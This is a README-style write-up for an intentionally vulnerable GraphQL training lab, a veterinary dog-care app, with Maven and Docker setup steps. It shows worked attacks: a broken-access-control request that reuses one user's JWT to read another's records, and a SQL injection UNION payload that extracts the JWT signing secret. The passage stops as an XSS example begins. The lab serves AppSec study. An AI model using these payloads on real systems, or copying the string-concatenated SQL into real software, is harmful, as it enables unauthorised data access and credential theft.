
Research on GraphQL from an AppSec point of view.
A labs has been created in order to study the different issues, this one take the context of a Veterinary managing healthcare of dogs.
The labs was developed using IntelliJ IDEA Community Edition.
Domains used are the following:
# Define in host file
127.0.0.1 localhost
127.0.0.1 domain1.local
127.0.0.1 domain2.local
There is the labs conditions and assumptions:
[VULN] marker in comments.Once started via the launch configuration present into the project or the command line mvn spring-boot:run, the labs is available on these endpoints:
To package the application, as a portable jar file, use the command mvn package (a pre-built jar file is available here):
java -jar graphql-poc.jar to run the application.The image is published every day on DockerHub
In order to deploy the application in a docker container follow the steps:
docker installed.git clone the repository.docker build -t poc-graphql .docker run -p 8080:8080 poc-graphql:latestbroken access control
As GraphQL is based on a single endpoint on which every requests is sent and as authorization is out of scope of the specification (no built-in features).
It's up to the application to implements an authorization logic.
In my labs I have a vulnerability on this point because the verification of the access token do not verify that the token belong to the veterinary passed in veterinaryId
Example:
I ask a access token for Dr Julien that have the identifier 3 in the storage by sending this GraphQL request:
query getAccessToken {
auth(veterinaryName: "Julien")
}
I receive the access token in the following GraphQL response:
{
"data": {
"auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI"
}
}
I send a GraphQL request to the query myInfo(...) using the obtained access token BUT I specify the identifier 2 that the one of Dr Benoit:
query brokenAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
id, name, dogs {
name
}
}
}
I receive in the GraphQL response the list of Dogs associated with Dr Benoit:
{
"data": {
"myInfo": {
"id": 2,
"name": "Benoit",
"dogs": [
{
"name": "Babou"
},
{
"name": "Baboune"
},
{
"name": "Babylon"
},
...
With GraphQL we passed from a authorization matrix using Role x Feature to data level security using Role x Data because the also a single endpoints. User identity and roles must be passed to the top layer in charge grabbing the data (on act on) in order apply a verification using user identity prior to grab the data.
According to how the information from the GraphQL request query/mutation/subscription are used by the GraphQL server to act on datastores there possibility for injection.
In my labs I have a vulnerability on this point about SQLi in query dogs(namePrefix: String, limit: Int = 500): [Dog!] because the parameter namePrefix is used in string concatenation to build a SQL query.
Example:
I send this GraphQL request in order to list the content of the CONFIG table
query sqli {
dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
id
name
}
}
I receive in the GraphQL response the secret used to sign JWT token along the name of the dog for which the name start ab:
{
"data": {
"dogs": [
{
"id": 1,
"name": "Abi"
},
{
"id": 2,
"name": "Abime"
},
{
"id": 50,
"name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^"
}
]
}
}
About XSS, it's interesting to note that the GraphQL response reflect the parameter sent in case of validation fail on the request sent.
Example:
I send this GraphQL request to the query myInfo(accessToken: String!, veterinaryId: Int!): Veterinary, i replace the Veterinary identifier (that is an integer) by a String XSS payload: